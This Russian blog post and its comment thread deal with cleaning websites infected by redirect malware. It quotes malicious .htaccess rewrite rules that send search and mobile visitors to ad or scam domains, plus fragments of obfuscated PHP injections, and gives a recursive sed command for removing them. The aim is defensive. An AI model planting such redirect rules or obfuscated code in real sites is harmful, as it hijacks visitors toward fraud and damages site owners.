Злой вирус в .htaccess перенаправлял посетителей с поисковиков на посторонние рекламные сайты

Простите за заголовок в стиле жёлтой прессы и канала «НТВ», но сегодня наша команда столкнулся с интересной проблемой: при переходах по объявлениям Яндекс.Директа у одного из наших клиентов наблюдалась странная ситуация — пользователь при клике по объявлению в итоге попадал не на целевой сайт, а на одну из мутных площадок, где предлагают оставить на память злым ботам свой номер телефона (и потом разориться на платных sms). При заходе на целевой сайт путём ввода домена «руками» или по ссылкам на сайт из почты, скайпа, закладок — всё было ок.

Природа площадок сразу же намекнула на то, что виной всему происходящему — некий вирус (а не Яндекс).

Ситуация, в общем-то, знакомая. Я много раз встречался с вирусом, никак не проявляющим себя для посетителей с настольными браузерами, но показывающим предложение «обновиться до последней версии Opera Mini» всем, кто зашёл через любой мобильный браузер (даже родным браузером iPhone). Это зараза преспокойно живёт на многих сильно посещаемых сайтах и прячется в .htaccess (владельцы сайтов — не в теме до тех пор, пока им кто-то не пожалуется или пока они сами не пойдут на сайт с мобильного устройства).

Поскольку симптомы в данном случае были похожие, то первым делом я пошёл проверять .htaccess и увидел там примерно следующее:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
...
RewriteCond %{HTTP_REFERER} .*bing.*
RewriteRule ^(.*)$ http://somefuckingadvsite.com/index.php?t=6 [R=301,L]

То есть «вирус» (далее я его буду так называть только в кавычках) целиком построен на базе правил mod_rewrite: смотрит на реферера (сайт, с которого был переход), если реферер — поисковая система, то одно из перечисленных условий срабатывает, и посетитель перенаправляется (с помощью rewrite) на какой-нибудь рекламируемый сайт или дорвей, иначе — посетителя пропускает на сайт. Владельцы ходят на свой сайт — по домену, посетители с поиска до сайта даже не добираются (поэтому владельцам не пожалуются). Проблема до поры до времени остаётся незамеченной.

Лечение от «вируса»

Лечение сайта в моём простейшем случае свелось к смене FTP-пароля и удалению «плохих» редиректов из .htaccess, потому что по FTP-логам было видно, что никаких иных правок на сайт в момент подсаживания «вируса» не вносилось.

Соответственно, если столкнетесь с подобным, то смотрите дату/время последнего изменения .htaccess (ни в коем случае сразу же не бросайтесь его очищать и пересохранять), затем просите у хостера (если сайт на shared-хостинге) FTP-логи за период вокруг момента заражения. По логам выясняйте, что ещё делал тот же злобный IP-адрес, с которого поправили .htaccess.

Если были какие-то ещё действия со стороны атаковавшего IP или если окажется, что «вирус» к вам закинули не по FTP (.htaccess изменялся, но в это время по FTP никто на сайт не ходил), то придётся:

  1. Искать PHP-shell по всей структуре сайта. Если shell был внедрён, то смена FTP-пароля — не поможет (добавлять вредные правила в .htaccess вам и дальше продолжат через shell).
  2. Обновлять CMS и прочий софт.

Мой вирус не был деструктивным для посетителей, т.е. на тех сайтах, куда редиректило посетителей не было ничего опасного (не считая тестов на наивность). Но даже такой «вирус» — исключительно вреден сайту, потому что перекрывает, фактически, все самые дорогие источники трафика (естественную выдачу и контекстную рекламу), оставляя вам лишь прямые заходы и переходы по ссылкам с каких-то непопулярных сайтов (ведь ничто не мешает в список проверяемых рефереров добавить ещё и .*vk.*, .*facebook.* и пр., кроме осторожности хакеров). За такой «вирус» можно санкций схлопотать от Яндекса или Google, потому что поведение «вируса» можно трактовать как клоакинг (хотя Яндекс умеет и специальным образом помечать и выкидывать сайты именно за вирусы).

Профилактика: ещё раз повторим общеизвестные правила защиты от вирусов и троянов

Самые популярные причины попадания вируса на сайт:

  1. Реквизиты FTP-доступа были сохранены у кого-то из администраторов сайта на компьютере (например, в настройках FTP-клиента), на этот локальный компьютер проник троян, который пароль «своровал» и отправил своему заводчику.
  2. Давно не обновлялось программное обеспечение сайта (например, система управление контентом), эксплуатируя известные бреши в безопасности старых версий софта, вирус был вброшен непосредственно на сайт с помощью какого-нибудь готового эксплойта.

Подобная ситуация плод массовых автоматизированных атак, «руками» сайт ради такого, понятное дело, никто ломать не будет. Поэтому и защиты хватит типовой:

  1. Не использовать простые пароли, которые треснут как орешек за пару часов ненавязчивого перебора.
  2. Не держать в открытом не зашифрованном виде пароли локально, иметь и обновлять антивирус.
  3. Обновлять CMS и фреймворки, на которых построен сайт, до актуальных версий.
  4. Всегда иметь работоспособный бэкап. Для этого, обычно, достаточно иметь резервную копию месячной, недельной и суточной давности, проводя раз в квартал её тестовое разворачивание.

А ещё такой вирус не страшен сайтам, работающим целиком на nginx без Apache 🙂

Разновидность «вируса» живущая в PHP-файлах

Кроме осады .htaccess этот вирус и его родственники умеют прописываться во всех поголовно php-файлах.

Чтобы запутать неопытного веб-мастера код вируса упаковывается примерно таким образом:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpO … p9DQp9DQp9"));

На выходе при исполнении файла (и декодировании всей этой беды) получаем всё те же редиректы, только средствами PHP, а не веб-сервера.

Чтобы пролечить рекурсивно все файлы на сайте, нужно из корня сайта выполнить поиск и замену в файлах по регулярному выражению с использованием редактора потокового текстового sed:

find ./ -type f -exec sed -i 's/eval(base64_decode(\"DQplcn[^;]*;//g' {} \;

Если имеется SSH доступ к серверу, то запустить всё это можно прямо там (иначе — надо будет скачать все файлы к себе, полечить локально, залить обратно).

21 комментарий

  1. Про борьбу с вирусами « Блог Марии В
    Ноя 09, 2012 @ 03:14:50

    […] тут, кстати, Алексей Костин написал отличную статью по борьбе с вирусами в .htaccess Леш, я честно твою статью через поиск нашла и она — […]

    Reply

  2. Andr435
    Дек 23, 2012 @ 20:55:37

    У себя в фаилах нашел такой код:
    if(@preg_match(strtr(‘/(mpdh|jame|jovo|mybp|mpnp|woh|simb|wpndyws.ce|h2yne|phod|drypd)/p’, ‘oyiph2a’, ‘aoyiph2’), $_SERVER[‘HTTP_USER_AGENT’]) && @preg_match(strtr(‘/(gyygle|iondex|mopl|vkyntokte)/p’, ‘oyiph2a’, ‘aoyiph2’), $_SERVER[‘HTTP_REFERER’]) && @$_COOKIE[‘statCounter’] !=1){echo(strtr(‘vor exhTpme = new Dote();exhTpme.setTpme(exhTpme.getTpme() + 86400000);dycument.cyykpe = «stotCyunter=1; exhpres=» + exhTpme.tyGMTStrpng();’, ‘oyiph2a’, ‘aoyiph2’));}
    может быть кому поможет.
    Также нашел фаил «lndex.php», который довал возможност править все мои фаилы и запуcкать shell команды

    Reply

  3. Павел
    Янв 05, 2013 @ 01:03:01

    такая же фигня случилась перед новым годом, но я грешу на хостера (Majordomo).
    поскольку я один раз уже чистил htaccess, после этого был сброшен пароль FTP (хостером же).
    буквально 29-20 декабря мне снова выдает, что один из моих сайтов в черном списке по такой же причине, после этого у хостера начинаются «технические проблемы», и весь сайт рид-онли до конца праздников.
    фишка в том, что с другими сайтами — на другом хостинге — ничего подобного не случилось

    Reply

  4. Irshat
    Янв 13, 2013 @ 12:59:23

    Большое спасибо. Вычистил все php одной командой find от eval(base64_decode все свои сайты на одном хостинге

    Reply

  5. alex
    Июл 09, 2013 @ 11:07:15

    Подтверждаю, сайты на Majordomo заразились этой гадостью, смена ftp паролей, учетных данных, e-mail, чистка левого кода, заливка из бэкапа оригинальных файлов, настройка прав доступа — все в пустую, сайты вновь редиректят мобильный траффик на различные sms и сайты с вирусами. Сайтов более 50 различных тематик, разных клиентов, на одной системе управления с аналогичными настройками, та часть, которая расположена у Majordomo — стабильно страдает этой фигней. Majordomo — небезопасный хостинг!

    Reply

    • kostin
      Июн 04, 2014 @ 10:21:31

      > на одной системе управления с аналогичными настройками
      Так может дырка в ней, а не в хостинге?

      Reply

  6. Dima_Bedny
    Июн 04, 2014 @ 10:17:26

    Приветствую Как конкретно чистил файл .htaccess? Обьясните пожалуйста!

    Reply

    • kostin
      Июн 04, 2014 @ 10:19:47

      Как конкретно чистить — зависит от конкретного файла. Откройте его в текстовом редакторе и ищите там, для начала, глазками редиректы на посторонние домены.

      Reply

      • Dima_Bedny
        Июн 04, 2014 @ 10:43:27

        файл .htaccess! Просто в редакторе удалить строки или как?

        Reply

        • kostin
          Июн 04, 2014 @ 10:45:10

          У вас в файле .htaccess могут быть несколько иные инъекции, чем описаны в статьи. Но в любой инъекции будут редиректы на внешний рекламно-вирусный сайт. Ищите, удаляйте, сохраняйте. Если инъекции снова появятся, значит где-то у вас сиди шелл, через который их присаживают.

          Reply

          • Dima_Bedny
            Июн 04, 2014 @ 10:50:00

            у меня примерно следующее:
            RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
            RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
            что означает [NC,OR]???
            и последнее
            RewriteRule ^(.*)$ http://server.7od.org/?update&source=%{HTTP_HOST} [L,R=302]
            что с этим делать?

            Reply

            • kostin
              Июн 04, 2014 @ 10:53:36

              Удаляйте весь фрагмент целиком (от первого показанного RewriteCond до [L,R=302]). [OR] это связка «или» между условиями проверки. [NC] включает регистронезависимую проверку (пофиг заглавные или строчные буковки). Подробнее читайте в любом мануале по mod_rewrite.

              Reply

  7. Dima_Bedny
    Июн 04, 2014 @ 10:59:06

    Осталось только:
    RewriteEngine on

    # BEGIN WordPress

    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ — [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]

    # END WordPress
    AuthUserFile .htpasswd
    AuthName «Private access»
    AuthType Basic

    Require valid-user

    это нормально?

    Reply

    • kostin
      Июн 04, 2014 @ 11:08:51

      Коли у вас Вордпресс, то скачайте уже себе дистрибутив акутальной версии, достаньте оттуда .htaccess и замените ваш на дефолтный. А также обновите сам Вордпресс. 95% что где-то у вас сиди шелл, который всё равно потом .htaccess перезапишет, если вы шелл не прибьёте. Помочь вам в охоте на шелл может модуль Anti-Malware by ELI (Get Off Malicious Scripts), только не мучайте меня вопросами по использованию модуля. И сделайте бэкап.

      Reply

  8. Dima_Bedny
    Июн 04, 2014 @ 11:11:35

    Спасибо огромное все теперь ясно!!!

    Reply

  9. Vladimir
    Авг 23, 2014 @ 17:45:02

    Добрый день!
    До недавнего времени был на моем сайте редирект с мобильных устройств, теперь ещё и с обычных. Никак не могу найти — где вирус засел.

    Содержание .htaccess:

    text/x-generic .htaccess
    ASCII English text

    #php_value display_errors Off

    ##
    # @package Joomla
    # @copyright Copyright (C) 2005 — 2013 Open Source Matters. All rights reserved.
    # @license GNU General Public License version 2 or later; see LICENSE.txt
    ##

    ##
    # READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!
    #
    # The line just below this section: ‘Options +FollowSymLinks’ may cause problems
    # with some server configurations. It is required for use of mod_rewrite, but may already
    # be set by your server administrator in a way that dissallows changing it in
    # your .htaccess file. If using it causes your server to error out, comment it out (add # to
    # beginning of line), reload your site in your browser and test your sef url’s. If they work,
    # it has been set by your server administrator and you do not need it set here.
    ##

    ## Can be commented out if causes errors, see notes above.
    #Options +FollowSymLinks

    ## Mod_rewrite in use.

    RewriteEngine On

    ## Begin — Rewrite rules to block out some common exploits.
    # If you experience problems on your site block out the operations listed below
    # This attempts to block the most common type of exploit `attempts` to Joomla!
    #
    # Block out any script trying to base64_encode data within the URL.
    RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
    # Block out any script that includes a tag in URL.
    RewriteCond %{QUERY_STRING} (|%3E) [NC,OR]
    # Block out any script trying to set a PHP GLOBALS variable via URL.
    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
    # Block out any script trying to modify a _REQUEST variable via URL.
    RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
    # Return 403 Forbidden header and show the content of the root homepage
    RewriteRule .* index.php [F]
    #
    ## End — Rewrite rules to block out some common exploits.

    ## Begin — Custom redirects
    #
    # If you need to redirect some pages, or set a canonical non-www to
    # www redirect (or vice versa), place that code here. Ensure those
    # redirects use the correct RewriteRule syntax and the [R=301,L] flags.
    #
    ## End — Custom redirects

    ##
    # Uncomment following line if your webserver’s URL
    # is not directly related to physical file paths.
    # Update Your Joomla! Directory (just / for root).
    ##

    # RewriteBase /

    ## Begin — Joomla! core SEF Section.
    #
    RewriteRule .* — [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
    #
    # If the requested path and file is not /index.php and the request
    # has not already been internally rewritten to the index.php script
    RewriteCond %{REQUEST_URI} !^/index\.php
    # and the request is for something within the component folder,
    # or for the site root, or for an extensionless URL, or the
    # requested URL ends with one of the listed extensions
    RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]
    # and the requested path and file doesn’t directly match a physical file
    RewriteCond %{REQUEST_FILENAME} !-f
    # and the requested path and file doesn’t directly match a physical folder
    RewriteCond %{REQUEST_FILENAME} !-d
    # internally rewrite the request to the index.php script
    RewriteRule .* index.php [L]
    #
    ## End — Joomla! core SEF Section.

    Подскажите пожалуйста — здесь не спрятан ли вирус?

    Заранее огромное спасибо!

    Reply

  10. Константин
    Мар 26, 2015 @ 18:51:39

    Благодарочка!
    Правлю я .htaccess, а он мне назад его откатывает))))
    Спасибо за подсказку!

    Reply

  11. Виктор
    Янв 04, 2017 @ 14:50:54

    У меня ситуация следующая на сайте клиента появился вирус редирект, сайт на WordPress, появилась куча левых страниц в выдаче, при переходе по которым они редиректят на сайт essayoneday, как вылечить помогите пожалуйста…

    Reply

    • kostin
      Янв 26, 2017 @ 14:26:54

      Если происходит редирект, то это не обязательно означает, что он прописан именно в .htaccess (вирус может вшить редиректы и, например, в php-файлы ядра, модулей, темы). Ищите везде. Для Вордпресса вам в поисках поможет плагин — gotmls

      Reply

      • Сергей
        Июл 25, 2017 @ 11:04:47

        Добрый день Kostin! Подскажите, пожалуйста, существует ли плагин для MODx, аналогичный Anti-Malware by ELI для Вордпресс?

        Reply

  12. Сергей
    Июл 25, 2017 @ 11:03:49

    Добрый день Kostin! Подскажите, пожалуйста, существует ли плагин для MODx, аналогичный Anti-Malware by ELI для Вордпресс?

    Reply

Leave a Reply

*